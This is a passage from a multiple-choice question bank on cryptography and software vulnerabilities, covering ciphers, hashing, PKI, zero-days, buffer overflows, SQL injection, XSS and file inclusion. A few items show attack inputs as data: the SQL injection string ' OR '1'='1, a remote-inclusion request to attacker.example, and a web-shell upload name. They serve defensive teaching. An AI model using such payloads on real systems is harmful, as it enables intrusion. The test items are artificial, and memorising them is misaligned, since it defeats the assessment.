A. The appropriate key is required to recover the text.

B. The mistyped value has become the archive's new key.

C. A sound algorithm returns the text for any value.

D. One failed attempt overwrites the ciphertext with new data.

Answer: page 1056

0004.d.1.5

A student project stores a secret message by converting each character into two hexadecimal digits, and the student calls the result "encrypted" because classmates cannot read it. Which assessment by the teacher is most accurate?

A. The message is encrypted, although weakly, since the digits act as a short key.

B. The message is hashed, since a conversion to digits cannot later be undone.

C. The message is encrypted, since only trained readers can understand its form.

D. The message is only encoded, since anyone can convert it back without a secret.

Answer: page 1056

Symmetric encryption

0004.d.2.1

Two branch offices of a law firm must exchange thousands of large files each day. An administrator proposes that both offices run the same fast cipher, with one secret value used to encrypt and to decrypt. Which aspect of this plan requires the most care?

A. hiding the design of the cipher, since the design protects the files

B. generating the second value that the other office needs to decrypt

C. limiting file volume, since this kind of cipher slows on large data

D. delivering that value to the second office without exposing it along the way

Answer: page 1057

0004.d.2.2

A company encrypts an archive using the Advanced Encryption Standard (AES). To read the archive later, an employee must have:

A. the same secret key that was used earlier to encrypt the archive.

B. no key, since the hash stored in the archive can be reversed.

C. the signer's public key, which confirms and opens the archive as well.

D. the private key matching the public key used on the archive.

Answer: page 1057

0004.d.2.3

A club of 10 people wants each pair of members to have a private channel using symmetric keys. How many keys are required?

A. `10`

B. `20`

C. `45`

D. `100`

Answer: page 1057

0004.d.2.4

A user encrypts a file with AES and emails the key in the same message. Which statement best evaluates this practice?

A. Anyone who intercepts the message has both the ciphertext and the key.

B. The file is safe, since AES cannot be decrypted without a brute-force search.

C. The file is unreadable, since email transforms the key before it is delivered.

D. The key is safe, since a symmetric key is public by design and is not secret.

Answer: page 1057

0004.d.2.5

A laptop manufacturer must encrypt every block of a 2-terabyte drive, which is read and written constantly and is used only by the laptop's owner. Which justification best supports choosing AES rather than RSA for this purpose?

A. AES uses a public key, so no secret is needed.

B. AES lets any program verify that each block came from the owner.

C. AES is fast, and no key must be sent anywhere.

D. AES makes stored files smaller than before.

Answer: page 1057

Asymmetric encryption

0004.d.3.1

A newspaper wants members of the public, most of whom it will never meet, to be able to submit confidential tips that only the newspaper can read. Which arrangement meets this requirement using RSA?

A. The newspaper posts its private key online and decrypts tips with its public key.

B. Each source encrypts with its own private key, and the newspaper uses its public key.

C. The newspaper emails each source a secret key in advance and decrypts with it.

D. The newspaper posts its public key online and decrypts tips with its private key.

Answer: page 1057

0004.d.3.2

Which algorithm on a security audit's list uses a mathematically related key pair?

A. bcrypt

B. SHA-256

C. AES

D. RSA

Answer: page 1057

0004.d.3.3

A developer benchmarks AES and RSA on the same server, and then reports the findings to a team that is choosing how to protect traffic. Compared with AES, RSA is most likely to be:

A. about equally fast, because both are modern standards with similar keys.

B. slower, because it applies one shared key to both directions of an exchange.

C. faster, although both parties must first share a secret over a protected channel.

D. slower, although it lets parties communicate with no previously shared secret.

Answer: page 1057

0004.d.3.4

An eavesdropper on a campus network copies an encrypted message addressed to a professor and also downloads the professor's public key from the university directory. Assuming a well-designed system and an intact private key, what can the eavesdropper accomplish with only these two items?

A. derive the private key, since the public key holds it in a scrambled form

B. neither encrypt nor read, since a public key works only for approved senders

C. encrypt further messages to the professor, but not read the copied message

D. read the copied message, since the encrypting key also reverses the process

Answer: page 1057

0004.d.3.5

Malware copies a consultant's private key from a laptop. For two years, clients have emailed the consultant documents encrypted to the matching public key, and the intruder has been storing copies of those encrypted emails. What is the most immediate consequence for the stored copies?

A. They stay protected unless the public key is also obtained.

B. They can now be decrypted and read.

C. They stay protected, since only later messages are exposed.

D. They become unreadable, since copying cancels the original key.

Answer: page 1057

Hybrid encryption

0004.d.4.1

A network analyst examines the start of a secure web session. The first exchange involves costly calculations with a key pair. After this brief exchange, the rest of the traffic is protected by a single key known to both ends. Which explanation of this pattern is most accurate?

A. The first stage safely establishes a key for faster encryption.

B. Both stages encrypt pages, adding a second layer of protection.

C. The first stage encrypts pages; the second maintains the connection.

D. The first stage shrinks the key; the second restores it.

Answer: page 1057

0004.d.4.2

Once a secure web session is under way, AES rather than RSA protects the pages, mainly because AES is:

A. secure against attack, whereas RSA has been broken in practice.

B. much faster on large amounts of data.

C. able to run without a key exchange.

D. publicly documented, whereas RSA is kept secret.

Answer: page 1057

0004.d.4.3

A developer is building an application that sends large video files to a recipient. The two have never shared a secret, but the recipient's public key is available. Which design best meets the need for confidentiality and speed?

A. Encrypt the file with a new AES key, and send that key unprotected in a separate email.

B. Encrypt the file with a new AES key, and encrypt that key with the recipient's public key.

C. Encrypt the file twice with the public key, which is fast and can reverse the process.

D. Encrypt the file with the recipient's private key, and have the recipient use the public key.

Answer: page 1057

0004.d.4.4

A streaming service proposes securing all of its live video with RSA alone, on the grounds that this avoids sharing a secret with each viewer. Which objection to this proposal is strongest?

A. RSA would let each viewer read other viewers' streams using the service's public key.

B. RSA keys wear out after one use, so each frame would need a new key pair.

C. RSA is intended for text, so the video would first have to be converted into words.

D. Key-pair operations are too slow for such a large, continuous volume of data.

Answer: page 1057

0004.d.4.5

During the setup of a secure web session, an eavesdropper records every packet, including the server's public key and the material exchanged to establish the shared key. Why does this recording not give the eavesdropper the shared AES key?

A. The shared key is the server's public key, useless without a password.

B. The setup packets travel by a route that ordinary devices cannot observe.

C. Establishing that key relies on a private value that never crosses the network.

D. AES already encrypts the setup packets, using the key they will establish.

Answer: page 1057

Digital signatures

0004.d.5.1

A software publisher learns that an intruder copied the private key used to sign its updates. An executive suggests resetting the key, as one would reset a password, so that customers need not be told. Which response is most accurate?

A. A key pair cannot be reset, so the publisher must revoke it, replace it, and inform customers.

B. A reset is adequate if the public key stays the same, since it alone identifies the publisher.

C. An in-place reset is adequate, since old signatures are checked against the publisher's current value.

D. A copied key is harmless, since it can sign only on the publisher's own server.

Answer: page 1058

0004.d.5.2

A school board clerk digitally signs meeting minutes so that any resident can confirm that the minutes came from the clerk and have not been altered. Which keys are used to create and to check the signature?

A. the clerk's private key to create it and the clerk's public key to check it

B. one session key, shared with each resident, both to create it and to check it

C. the clerk's public key to create it and the clerk's private key to check it

D. the resident's public key to create it and the resident's private key to check it

Answer: page 1058

0004.d.5.3

A vendor emails a digitally signed contract. An office assistant later changes one number in the payment schedule and forwards the file to the accounting department. What happens when the accounting software checks the signature using the vendor's public key?

A. The check succeeds, since forwarding re-signs the file automatically.

B. The check restores the number from data in the signature.

C. The check succeeds, since only the signer's identity is covered.

D. The check fails, revealing the alteration.

Answer: page 1058

0004.d.5.4

An unsigned email encrypted to a principal's public key claims to come from the superintendent. The principal's software decrypts it successfully. What does the successful decryption establish about the sender?

A. that the sender is the superintendent, since only staff can use the public key

B. nothing about identity, since anyone can obtain the principal's public key

C. that the sender holds the principal's private key, since decryption found a match

D. that the sender was verified by the authority that issued the email

Answer: page 1058

0004.d.5.5

A law office's software reports that the signature on a contract is valid. The named signer states that the signing key was stolen a month before the contract's date and denies ever seeing the document. Which conclusion is most defensible?

A. The contract's contents are exposed, since stealing a signing key reveals all it has signed.

B. The algorithm has been broken, so all signatures made using this algorithm are now invalid.

C. The contract is binding, since a valid result proves the named person personally approved it.

D. The result shows only that the key was used, so the signature is suspect and the key should be revoked.

Answer: page 1058

Public key infrastructure

0004.d.6.1

A customer's browser connects to an online pharmacy, receives a certificate, and checks it before loading the page. The customer assumes that the check means the pharmacy can be trusted. Which statement accurately describes what the check established?

A. A trusted authority has found no flaws in its servers.

B. A trusted authority has audited the pharmacy's business practices.

C. The customer's password is long enough to resist guessing.

D. A trusted authority vouches that the key belongs to the site.

Answer: page 1058

0004.d.6.2

A new online store wants browsers to accept that a particular public key truly belongs to its domain. The store should obtain the needed credential from:

A. the developer of each major web browser.

B. a certificate authority.

C. its Internet provider.

D. a domain name system (DNS) server operator.

Answer: page 1058

0004.d.6.3

A university's course registration page begins showing a browser warning on the morning after a long holiday. Technical staff find that the server's certificate passed its end date overnight and that nothing else changed. Which statement best describes the situation?

A. The certificate authority has deleted the registration records.

B. The certificate can no longer verify the site's identity.

C. The end date announces that the private key was stolen.

D. The domain name has passed to another party.

Answer: page 1058

0004.d.6.4

An intruder breaches a certificate authority that major browsers trust, and uses it to issue a certificate for a national bank's domain to a server that the intruder controls. Why does this endanger the bank's customers even though the bank's own systems were untouched?

A. Browsers may accept the intruder's server as if it were the genuine bank.

B. All ciphertext captured from the bank's site becomes readable at once.

C. Browsers automatically replace the bank's key pair and disconnect its real site.

D. Issuing the certificate reveals the bank's private key.

Answer: page 1058

0004.d.6.5

To avoid dealing with any outside organization, a company places its public customer portal behind a certificate that it generated and signed itself. What are typical visitors most likely to experience?

A. a faster connection, since no outside organization has to be contacted

B. no warning, since the company is best placed to vouch for its own identity

C. a request for each visitor's private key, since the certificate needs checking

D. a warning, since no authority the browser trusts has vouched for the certificate

Answer: page 1058

Open algorithms and secret keys

0004.d.7.1

A vendor markets a messaging product by stating that its cipher is a trade secret that no outsider has ever examined. A district technology coordinator is comparing this product with one built on a published, widely studied cipher. Which consideration most strongly favors the published cipher?

A. A published cipher runs faster, since the processor need not conceal any of its steps.

B. A published cipher needs no key management, since its well-tested design gives the protection.

C. A published cipher gets expert scrutiny, and its security does not depend on hiding the design.

D. A published cipher attracts few attackers, since it has no hidden design to discover.

Answer: page 1058

0004.d.7.2

An encryption system's design is public. What must stay secret for it to remain secure?

A. the file format of the encrypted output

B. the key

C. the ciphertext

D. the source code of the encryption program

Answer: page 1058

0004.d.7.3

A student publishes an encrypted diary application on a public code-hosting site. The application uses a well-regarded published cipher, and the source code contains the one key that every copy of the application uses. Which evaluation is most accurate?

A. The cipher is sound, but any reader of the code can obtain the key and decrypt the diaries.

B. The fixed key is a strength, since one key in every copy keeps all diaries protected.

C. The cipher is the flaw, since anyone can reverse a public algorithm without a key.

D. The design is safe, since a key in source code is part of the algorithm and may be public.

Answer: page 1058

0004.d.7.4

A random number generator used to create keys produces predictable values. How does this affect a system using a strong, open algorithm?

A. The system is safe, because predictable values make keys easy for users to remember.

B. Attackers can guess the keys, so the strong algorithm does not protect the data.

C. The system is safe, because the algorithm's strength does not rely on the keys.

D. The algorithm compensates for the weak values by making the keys longer on its own.

Answer: page 1058

0004.d.7.5

A payroll company protects client files with an in-house cipher that has no separate key: the procedure itself is the only secret. A former employee posts the procedure online, and all of the files become readable. Which redesign would best have kept this disclosure from exposing the files?

A. compressing the files before applying the procedure, so their patterns are hidden

B. rewriting the procedure so that readers of any future leak struggle to follow it

C. adopting a published algorithm, with secrecy held in random, replaceable keys

D. requiring departing employees to promise to keep the procedure private

Answer: page 1058

Classical ciphers

0004.d.8.1

A student finds a note reading `DWWDFN` and learns that every letter was replaced by the letter a fixed number of positions later in the alphabet. With no other information, which approach recovers the message most quickly?

A. searching all possible orderings of the 26 letters of the alphabet

B. trying each of the 25 possible shifts and looking for readable text

C. reversing the hash that was computed for each of the letters in turn

D. computing the private key that corresponds to the letter positions

Answer: page 1059

0004.d.8.2

A cipher turns `CAT` into `FDW`. Which technique does this result most clearly fit?

A. rearranging the word's letters without replacing them

B. moving each letter forward by the same number of positions

C. computing a fixed-length value that cannot be reversed

D. moving each letter forward by a different number of positions

Answer: page 1059

0004.d.8.3

A student writes a program that encrypts a message with a fixed shift of 3, using letter positions from `0` (`A`) to `25` (`Z`). The positions after the last letter should wrap around to the start of the alphabet.

```
01 int[] msg = [24, 25, 0]
02 int shift = 3
03 for (int i = 0; i < 3; i = i + 1)
04   msg[i] = msg[i] + shift
05   output(msg[i])
```

The program should output `1`, `2`, and `3`, but it outputs `27`, `28`, and `3`. Which replacement for line 04 corrects the program?

A. `msg[i] = (msg[i] + shift) % 25`

B. `msg[i] = msg[i] % 26 + shift`

C. `msg[i] = (msg[i] + shift) % 26`

D. `msg[i] = (msg[i] + shift) / 26`

Answer: page 1059

0004.d.8.4

A 2,000-letter English ciphertext was made by replacing each letter with one fixed substitute throughout. An analyst finds that `Q` makes up about 12 percent of the symbols, far more than any other symbol. Which inference is most reasonable?

A. `Q` is likely the key, since a key is the most frequent value in a ciphertext.

B. No inference is available, since a substitution of this kind removes letter patterns.

C. `Q` likely stands for a common English letter, since letter frequencies carry over.

D. `Q` likely stands for a rare English letter, since ciphers pair common letters with rare.

Answer: page 1059

0004.d.8.5

A student writes the following program to explore a cipher, using letter positions from `0` to `25`.

```
01 int[] msg = [4, 4, 4, 4]
02 int[] shifts = [1, 5]
03 for (int i = 0; i < 4; i = i + 1)
04   output((msg[i] + shifts[i % 2]) % 26)
```

Compared with a single fixed shift, which feature of this program makes simple frequency analysis harder?

A. One plaintext letter always becomes the same ciphertext letter, concealing its frequency.

B. Two shifts form a key pair, so a private key is needed to decipher the output.

C. Repeated plaintext letters are removed, leaving too little text for analysis.

D. One plaintext letter becomes different ciphertext letters at different positions.

Answer: page 1059

Key length and brute force

0004.d.9.1

An organization is upgrading from a 128-bit key to a 129-bit key for a certain cipher. How does this affect the number of possible keys?

A. It increases by one.

B. It increases by 1%.

C. It doubles.

D. It stays unchanged.

Answer: page 1059

0004.d.9.2

A consultant recommends replacing a 128-bit key with a 256-bit key for an archive cipher. This change most directly makes which activity harder?

A. recording which employees contact each other and how often

B. reading the archive on a computer where it is already unlocked

C. trying every possible key until one of them works

D. tricking employees into revealing the key

Answer: page 1059

0004.d.9.3

An old archive uses a cipher with a 42-bit key. A forensic laboratory has equipment that can try `2^30` keys per second. About how long would the laboratory need, in the worst case, to try every key?

A. `2^12` seconds, or a little more than one hour

B. `2^21` seconds, or about 24 days, since half of the bits must be tried

C. `72` seconds, the sum of the two exponents

D. `12` seconds, the difference in the exponents

Answer: page 1059

0004.d.9.4

A company moves to much longer keys, but attackers still get in through stolen passwords. Which conclusion is most accurate?

A. Key length changes affect stolen passwords, since a key and a password are the same.

B. Key length is irrelevant, so future systems should use shorter keys instead.

C. Key length addresses one attack, and other weaknesses still need safeguards.

D. Key length must still be too short, so another increase will stop the attackers.

Answer: page 1059

0004.d.9.5

A laboratory's equipment takes one day to try every possible key of a 50-bit cipher. In the worst case, how long would the same equipment take for a 54-bit cipher?

A. `1.08` days

B. `5` days

C. `16` days

D. `54` days

Answer: page 1059

Limits of encryption

0004.d.10.1

An accountant's external backup drive is encrypted with a strong cipher, and its passphrase is written on a note taped to the case. A burglar takes the drive. Which statement about the client files on the drive is most accurate?

A. They are safe, since a passphrase needs the cipher's source code.

B. They are exposed, since the cipher works only during transit.

C. They are exposed, since the burglar also holds the unlocking secret.

D. They are safe, since nothing can defeat a strong algorithm.

Answer: page 1059

0004.d.10.2

Two colleagues use a messaging application with end-to-end encryption. Spyware on one colleague's telephone captures each message as it appears on the screen. Why did the encryption fail to stop this capture?

A. The spyware broke the cipher by trying all possible keys during transit.

B. End-to-end encryption protects details of the conversation but not its contents.

C. The spyware obtained the sender's public key, which decrypts each message.

D. Each message must be decrypted for display, and the spyware reads it then.

Answer: page 1059

0004.d.10.3

A journalist and a source communicate using end-to-end encryption. An investigator obtains only the provider's logs, which list account names, times, and message sizes, and concludes that the two were in frequent contact before an article appeared. Which statement best explains this?

A. The logs must have held decrypted message text.

B. Records of who contacted whom remained readable.

C. The encryption must have failed, exposing the conversation.

D. Times and sizes allowed the key to be computed.

Answer: page 1059

0004.d.10.4

A laptop with full-disk encryption is stolen while it is unlocked and logged in. How much protection does the encryption provide?

A. Little, since the files are already accessible on the running system.

B. No protection at all, even after the laptop has been shut down.

C. Complete protection, since the thief needs administrator rights to read files.

D. Complete protection, since files remain encrypted while being read.

Answer: page 1059

0004.d.10.5

An online retailer uses HTTPS on every page, and its server keeps customer records as plain text. Attackers breach the server and copy the records. The manager says that this should have been impossible because the site uses encryption. Which response is most accurate?

A. HTTPS guards data on its way to the server, but not records kept there.

B. HTTPS encrypts the stored records, so the data must have been taken in transit.

C. HTTPS protects the records unless the certificate is stolen, as must have happened here.

D. HTTPS works on one server at a time, so the layout must be at fault.

Answer: page 1059

Password hashing

0004.d.11.1

Before storing a password, a website combines it with a random value unique to the account and then runs a deliberately slow one-way function. An attacker later steals the database. Which statement correctly describes what these two choices contribute?

A. The random value lets staff recover passwords; the slow function makes the database harder to steal.

B. The random value acts as a key for decrypting passwords; the slow function delays network traffic.

C. The random value makes identical passwords look different; the slow function limits guessing speed.

D. The random value makes a password unguessable; the slow function makes stored values shorter.

Answer: page 1059

0004.d.11.2

A new web application must check passwords at login, and a stolen copy of its database should not directly reveal them. The application should store:

A. each password encrypted with a key kept on the same server.

B. each password in plain text, in a table only administrators can open.

C. each password in compressed form, which attackers are unable to read.

D. a salted hash of each password, computed with a slow function.

Answer: page 1060

0004.d.11.3

Two employees of one firm happen to choose an identical password for a vendor's website. A stolen copy of the website's password table shows different stored values for the two accounts. Which explanation is most likely?

A. The website detected the duplicate and quietly changed one of the passwords.

B. The website hashes the usernames and uses the results as its login check.

C. The hash function gives a different output on each use for the same input.

D. A different random value was combined with each password before it was hashed.

Answer: page 1060

0004.d.11.4

A help desk says, "We will email you your current password." What does this indicate about how the site stores passwords?

A. It stores them in a recoverable form, rather than as hashes.

B. It stores them using two-factor authentication for each new password.

C. It stores them as salted hashes that can be reversed by support staff.

D. It stores them on the user's device, and not on the company's server.

Answer: page 1060

0004.d.11.5

A developer adds a unique salt to each password but hashes the result with SHA-256. A reviewer recommends bcrypt instead. Which weakness in the current design does the reviewer most likely have in mind?

A. An attacker can test billions of guesses per second.

B. Correct passwords are sometimes rejected at random.

C. It depends on a private key in the table.

D. Its output is too short to compare reliably.

Answer: page 1060

Quantum computing and cryptography

0004.d.12.1

An agency's encrypted cables must remain confidential for 50 years. An adversary is known to be recording the traffic today, and the agency's links use RSA to establish keys. An official argues that nothing need change until large quantum computers exist. Which response is most accurate?

A. Recorded traffic is safe, since quantum computers mainly threaten symmetric ciphers such as AES.

B. Recorded traffic stays secure, since quantum computers are expected to attack later messages.

C. Recorded traffic is already lost, so the agency should abandon encryption as unable to resist the future.

D. Recorded traffic could be decrypted later, so planning for post-quantum algorithms should begin now.

Answer: page 1060

0004.d.12.2

An experimental link sends key material as individual photons, and any interception alters the signal in a way that the two ends can notice. This use of physics is designed chiefly to:

A. break RSA by factoring large numbers more efficiently.

B. reveal eavesdropping while a key is being exchanged.

C. reduce the size of stored keys held by each device.

D. increase the speed of symmetric encryption on the link.

Answer: page 1060

0004.d.12.3

A district's technology director hears that Quantum Key Distribution (QKD) could end the district's recent incidents, in which staff members typed their passwords into deceptive websites. Which assessment of this claim is most accurate?

A. QKD can detect a deceptive message as soon as it arrives.

B. QKD does not address staff giving away passwords.

C. QKD signals leave passwords open to observers.

D. QKD keys replace passwords on the district's systems.

Answer: page 1060

0004.d.12.4

A security team inventories its cryptography in preparation for large-scale quantum computers. Which item in the inventory is most directly threatened, and for what reason?

A. SHA-256, since every output is a product of primes that could be recovered

B. AES, since each shared key is the product of two primes that could be factored

C. bcrypt, since its slowness comes from factoring, which such machines handle well

D. RSA, since such machines could solve its underlying factoring problem efficiently

Answer: page 1060

0004.d.12.5

A vendor advertises a product as "quantum-proof" but declines to name its algorithm, citing trade secrecy. A district's purchasing office must decide how to respond. Which response is most appropriate?

A. Accept the claim, since a hidden algorithm is harder for a quantum computer to attack.

B. Accept the claim, since government regulators verify such quantum security statements.

C. Postpone all encryption purchases, since no protection is needed until quantum computers exist.

D. Ask for evidence, such as use of openly reviewed algorithms, before relying on the claim.

Answer: page 1060

Cryptography in history

0004.d.13.1

Germany's Enigma machine offered far too many settings for anyone to try by hand, yet Allied codebreakers regularly read its messages during World War II. Which factor best explains this outcome?

A. The machine used a public key, and the Allies derived the matching private key.

B. Procedural errors by operators and sustained analysis weakened a strong design.

C. German operators also sent every message in plain text beside the enciphered one.

D. Spies delivered each day's settings, so no codebreaking was ever required.

Answer: page 1060

0004.d.13.2

The Allied effort to read Enigma messages was directed against which nation, during which war?

A. Japan, during the Korean War

B. Austria-Hungary, during World War I

C. Germany, during World War II

D. the Soviet Union, during the Cold War

Answer: page 1060

0004.d.13.3

Enigma operators often sent routine messages, such as weather reports, that used predictable phrases. As a result, analysts could often guess part of an intercepted message before reading it. How did this help them?

A. Routine messages were sent with no encryption, so they could be read on arrival.

B. A guessed fragment gave them the machine's wiring directly, with no further work.

C. A guessed fragment let them test candidate settings and rule out those that failed.

D. Predictable phrases shortened messages, reducing the settings the machine could use.

Answer: page 1060

0004.d.13.4

A company advertises that its cipher has an enormous number of possible keys and concludes that its messages are therefore secure. Its staff reuse one key for months, and every message starts with the same header. Which conclusion does the history of Allied work against Enigma best support?

A. The company is safe, since Enigma failed mainly because it had too few settings.

B. Encryption has little value, since messages are eventually read.

C. A vast number of settings does not ensure security when procedures are poor.

D. The company's procedures are irrelevant, since Enigma fell mainly to captured machines.

Answer: page 1060

0004.d.13.5

A history teacher says that breaking Enigma had effects well beyond mathematics. Which fact best supports this claim?

A. Intelligence from decrypted messages influenced Allied military operations in the war.

B. Enigma's designers later worked for the Allied governments on their own machines.

C. Enigma's rotors were used to build the first web servers after the war had ended.

D. Enigma messages were written in several different languages across the German forces.

Answer: page 1060

0004.e Software vulnerabilities

Read about this in the content summary: 0004.e, page 149.

Zero-day vulnerabilities

0004.e.1.1

A vendor announces that attackers are breaking into customers' file-sharing servers through a flaw its engineers learned of only this morning. No update exists yet. A company running the product should most appropriately:

A. restrict access to the server and watch its activity closely for now.

B. wait to act until the flaw has a published identifier to reference.

C. move the product to newer server hardware, since the flaw depends on a machine's age.

D. change every staff password, since a new password closes the flaw.

Answer: page 1061

0004.e.1.2

A news article calls a software flaw a zero-day because it is rated critical and affects millions of devices. An editor objects that this does not establish what earns the label. The editor is most likely asking whether:

A. the flaw can be exploited from outside of an organization's own network.

B. the flaw became public on the same day that it was first discovered.

C. the flaw can be exploited with no action by a device's user.

D. attackers were exploiting the flaw before any fix was available.

Answer: page 1061

0004.e.1.3

A researcher finds a serious flaw in a popular web browser and sells the details to a private broker rather than reporting it to the browser's maker. For the browser's users, the main consequence of this sale is that:

A. the exposure ends when the sale closes, since the details leave circulation.

B. the flaw stays open to use by others while its maker remains unaware.

C. the flaw loses its value, since a single party now holds the details.

D. the maker learns of the flaw sooner, since brokers inform vendors.

Answer: page 1061

0004.e.1.4

A school's grade portal runs software with a flaw under active attack, and the vendor expects an update in two weeks. The portal must stay available to staff. Which interim action best reduces the risk?

A. taking no visible action, so that attackers do not notice the portal

B. publishing the flaw's technical details, so that staff can recognize attacks

C. reinstalling the portal software nightly, so that the flaw is cleared by morning

D. limiting portal access to the school's internal network and reviewing access logs daily

Answer: page 1061

0004.e.1.5

Six months ago, a vendor released an update for a flaw that had been attacked before any fix existed. A school has not installed it, and its administrator says, "Nothing can be done about a zero-day." This statement is mistaken because:

A. attackers abandon a flaw once its fix is public, so exposure has ended.

B. the fix now exists, so the continuing exposure comes from not installing it.

C. a released fix reaches school systems automatically, so the school is already protected.

D. the label applies to flaws that were first found by the vendor's own testers.

Answer: page 1061

Buffer overflow and bounds checking

0004.e.2.1

A school's badge program copies each student's name into an array reserved for eight characters. On a system that does not stop writes past the end of an array, long names corrupt the record stored next to it.

```
01 /* copies a name into the eight positions reserved for a badge */
02 String[] badge = ["", "", "", "", "", "", "", ""]
03 String name = input()
04 for (int i = 0; i < name.len; i = i + 1)
05   badge[i] = name.sub(i, i)
06 output(badge[7])
```

Which replacement for line 04 keeps every write inside the reserved space?

A. `for (int i = 0; i < name.len AND i < 8; i = i + 1)`

B. `for (int i = 0; i < name.len OR i < 8; i = i + 1)`

C. `for (int i = name.len - 8; i < name.len; i = i + 1)`

D. `for (int i = 0; i < name.len AND i <= 8; i = i + 1)`

Answer: page 1061

0004.e.2.2

In a language with no automatic memory checks, a program reserves 64 characters for a username. An attacker submits a carefully built string of several hundred characters, and the program begins carrying out the attacker's instructions. This is possible because:

A. the operating system compiles any text longer than a set limit and then runs it.

B. the long string used up the available memory, which switched off the access checks.

C. the excess input overwrote adjacent memory that controls what the program does next.

D. the characters in the string replaced the program's source code file on the disk.

Answer: page 1061

0004.e.2.3

A team's earlier products suffered repeatedly from input overwriting neighboring memory, and it is now beginning a new network service. Which early decision would most directly remove this class of flaw?

A. encrypting all of the traffic between clients and the service

B. adding far more memory to the server

C. documenting each array's intended size

D. writing the service in a memory-safe language

Answer: page 1061

0004.e.2.4

A tester submits extremely long values to each field of a desktop application. Most fields reject the value, but one field crashes the application. A reviewer records this as a security finding rather than a minor defect. The concern is justified because the crash:

A. shows that the field's validation rejected the long value as it was designed to.

B. indicates that attackers have already used the field to reach the application.

C. suggests that input may be reaching memory beyond the space reserved for it.

D. shows that the computer lacks the disk space needed to save long values.

Answer: page 1061

0004.e.2.5

A function reserves space for 20 characters and copies in a value received over the network. Before the copy, a check rejects any value longer than 200 characters, since few real messages are longer. A reviewer rejects this check because:

A. the check must run after the copy, so that the stored size can be measured.

B. the limit must match the reserved space, or longer input still overruns it.

C. a length check cannot help, since only a firewall can stop oversized network data.

D. the limit is too strict, since refusing valid input is worse than overwriting memory.

Answer: page 1061

SQL injection

0004.e.3.1

A library kiosk looks up a patron's card record from a typed last name, and it displays each finished query before running it.

```
01 /* builds the query that finds a patron's card record */
02 String typed = input()
03 String q = concat("SELECT * FROM Cards WHERE last_name = '", typed, "'")
04 output(q)
```

Which typed value would make the finished query match every row in the table?

A. `*`

B. `%`

C. `O'Brien`

D. `' OR '1'='1`

Answer: page 1061

0004.e.3.2

A library website joins the text typed into a search box to a fixed SELECT statement. Which change most directly keeps typed text from altering the structure of the resulting query?

A. renaming the database tables, so that attackers are unlikely to guess what to target

B. encrypting the connection, so that the typed text is unreadable in transit

C. removing the word SELECT from typed text, so that commands are not submitted

D. sending the typed text to the database as a parameter, apart from the command

Answer: page 1061

0004.e.3.3

A company adds JavaScript to its login page that rejects any entry containing a quotation mark, leaving the server's query code unchanged. A later test again retrieves data through crafted entries. The most likely reason is that:

A. requests can be sent directly to the server without passing through the page's check.

B. JavaScript does not examine a password field, so half of each login goes unchecked.

C. browsers run a page's scripts after a form's contents have reached the server.

D. quotation marks play no part in the crafted entries that change a database query.

Answer: page 1061

0004.e.3.4

A web application needs to read only one catalog table, but its database account can read, change, and delete every table. Which change most directly reduces what an attacker could accomplish if crafted input reached a query?

A. showing users full database messages, so that problems get reported

B. logging each query, so that a damaging command is stopped

C. restricting the account to read access on the one table it uses

D. giving the account a longer and more unusual name

Answer: page 1061

0004.e.3.5

When a search fails, a website displays the database's full error message, including table and column names. A reviewer recommends a generic message for users, with details kept in a protected log. This recommendation is mainly intended to:

A. preserve the site's appearance, since error text has no bearing on security.

B. deny attackers the structural details that help them craft their input.

C. reduce the load that long error messages place on the database server.

D. stop users from entering searches that are likely to produce malformed queries.

Answer: page 1061

Cross-site scripting

0004.e.4.1

A class forum inserts each saved post, unchanged, into the page sent to all readers. After a student posts a message containing a script tag, later readers' browsers begin sending data to an unknown site. The root of this problem is that:

A. the forum's database ran the student's script on each retrieval of the post.

B. the site delivered one user's input to others as code that their browsers ran.

C. the readers' browsers were out of date, since current browsers ignore tags in posts.

D. the student gained administrator control of the web server when the post was saved.

Answer: page 1061

0004.e.4.2

A page shows visitor reviews. Which practice makes text such as `<script>` appear on the page as ordinary characters?

A. escaping each review's special characters when the page is generated

B. sending the page to visitors over an encrypted web connection

C. saving each review through a parameterized query to the database

D. limiting the number of reviews that a visitor can post each day

Answer: page 1062

0004.e.4.3

A script planted on a discussion site copies each reader's session cookie and sends it to a server run by the attacker. Using these values, the attacker can most directly:

A. read the site's server-side program code.

B. act on that site as those readers without their passwords.

C. decrypt other traffic on each reader's local network.

D. log in to those readers' accounts on unrelated websites as well.

Answer: page 1062

0004.e.4.4

Which cookie attribute keeps a session cookie working for requests but unreadable by scripts in the page?

A. `Expires`

B. `SameSite`

C. `HttpOnly`

D. `Secure`

Answer: page 1062

0004.e.4.5

A search page repeats the `q` value from its web address in the results page without changing it. An attacker emails potential victims a link whose `q` value holds a script. Compared with a script saved in a site's database, this attack:

A. reaches visitors to the search page, with or without the link.

B. gives the script no access to the site's cookies, as it did not come from the site's storage.

C. carries its script in each request, so it affects those who open the link.

D. runs its script on the web server, so it does not involve the visitor's browser.

Answer: page 1062

Remote file inclusion

0004.e.5.1

A help page selects content through a web address value such as `?page=printing.txt`, and the server loads and runs the named file. An attacker requests `?page=http://attacker.example/evil.txt`. If remote loading is enabled, the primary risk is that:

A. the attacker's file will fill the server's disk with extra copies.

B. the server will run code that the attacker controls.

C. the site's domain name will begin pointing to the attacker's site.

D. the visitor's browser will show the wrong article.

Answer: page 1062

0004.e.5.2

A developer wants a value in a web address to select one of ten help articles, and an earlier review warned that such values can be used to load outside files. Which approach is the strongest?

A. removing the text `http` from the value, along with any other known attack terms

B. encrypting the chosen article before the server sends it to the visitor

C. limiting the length of the value, so that a full web address cannot fit

D. mapping each accepted value to one of the ten approved files and refusing all others

Answer: page 1062

0004.e.5.3

A team configures its server to refuse uploads whose names end in `.php`. Later, an attacker uploads a file named `shell.phtml`, and the server runs it. The team's review should conclude that:

A. the firewall failed, since port rules decide which files run.

B. a list of forbidden types misses whichever types it does not name.

C. the rule was sound, and adding this one extension closes the gap for good.

D. an allow list would have failed as well, since it also depends on file names.

Answer: page 1062

0004.e.5.4

A school's website lets staff upload handouts, and the server currently keeps them in the same directory as the site's scripts. An audit warns that an uploaded file might be run by the server. The most direct storage change is:

A. keeping uploads in a location from which the server will not execute files.

B. letting each staff member run the files that the same person uploaded.

C. adding the uploader's name to each file name, so that each file can be traced.

D. scanning that directory every night, so that harmful uploads are found by morning.

Answer: page 1062

0004.e.5.5

An attacker gives a script the name `photo.jpg` and uploads it through a profile-picture feature that checks only the ending of each file name. The server later runs the script. Which added control addresses this trick?

A. examining each file's actual contents and handling it as data that never runs

B. asking each uploader to confirm in a checkbox that the file is an image

C. extending the list of blocked file endings to cover every executable type

